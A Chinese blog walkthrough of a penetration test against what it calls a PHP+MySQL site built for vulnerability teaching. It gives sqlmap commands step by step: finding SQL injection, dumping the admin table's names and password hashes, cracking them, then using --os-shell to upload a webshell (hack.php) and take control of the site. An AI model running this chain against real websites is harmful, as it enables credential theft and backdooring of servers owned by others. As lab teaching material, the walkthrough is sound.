环境:对某网站进行渗透测试。
(PHP+Mysql开发的网站,用于WEB漏洞教学和检测的)
工具:sqlmap(Kali Linux中自带or官网下载Windows版)
此次实验所涉及的sqlmap参数:
![](https://i-blog.csdnimg.cn/blog_migrate/ac17220676c531f66bf0f91fb4b91509.png)
一、信息收集
![](https://i-blog.csdnimg.cn/blog_migrate/054ce57732b2b07d73b716dd3a6ce9b0.png)
二、漏洞挖掘
(1)判断网站是否存在sql注入漏洞
使用工具,sqlmap:sqlmap -u "目标网站地址" --batch
![](https://i-blog.csdnimg.cn/blog_migrate/59ebf1846c57a7ab2275e806bf6881be.png)
(2)存在 sql注入漏洞,
使用sqlmap进行sql注入,并获取后台管理员的账号和密码。
1、先跑出当前网站所使用的数据库库名
(sqlmap -u "http://*********/product.php?cid=4" --current-db)
![](https://i-blog.csdnimg.cn/blog_migrate/a3afdd33ce03041d35834f244ddc6215.png)
当前数据库:’510cms‘。
2、求当前数据库下所有表名
(sqlmap -u "http://*************/product.php?cid=4" -D 510cms --tables)
![](https://i-blog.csdnimg.cn/blog_migrate/95a27f7d300829f737fed7d91aab02b8.png)
3、求指定表内列名
(sqlmap -u "http://***********/product.php?cid=4" -D 510cms -T 510_admin --columns)
![](https://i-blog.csdnimg.cn/blog_migrate/d60c9ed423cb5864e66ae88a12d2ad6b.png)
4、求指定列名的字段
(sqlmap -u "http://*********/product.php?cid=4" -D 510cms -T 510_admin -C name,passwd --dump)
![](https://i-blog.csdnimg.cn/blog_migrate/1099081eb2861e29e4d34495c1bb8296.png)
三、获取账户密码后就可以登录网站后台()
(1)使用md5在线解密破解密码
获取弱口令
![](https://i-blog.csdnimg.cn/blog_migrate/8024f974a2227cc5a88ee19705009f89.png)
(2)找到后台地址就可以登录了
![](https://i-blog.csdnimg.cn/blog_migrate/d520b2ba1b6c2994355d059a0a4637e0.png)
(3)如何获取网站后台地址(参考之前的一篇)
(223条消息) 渗透测试中的信息收集(使用相关工具,收集网站的子域名,扫描网站的后台地址)_net1996的博客-CSDN博客
四、攻击网站,利用sqlmap上传大马,可以对网站进行后台操作
(1)
(sqlmap -u "http://************/product.php?cid=4" --os-shell)
四个选项:
![](https://i-blog.csdnimg.cn/blog_migrate/a2bc68d9488d220f2463dcec59d25b4a.png)
![](https://i-blog.csdnimg.cn/blog_migrate/35b175c54197788d94c2ddbfbd772930.png)
(2)进入如上网站,上传自己准备的大马(hack.php)
![](https://i-blog.csdnimg.cn/blog_migrate/fb49ed94e150e47ce9f7ab00c1e3cacf.png)
(3)上传成功后,在网站原址后加上/hack.php即可进入操作界面
(http://***********/hack.php)密码在大马文件中有。
![](https://i-blog.csdnimg.cn/blog_migrate/8aeb0df464bb9525f877891a5efa1600.png)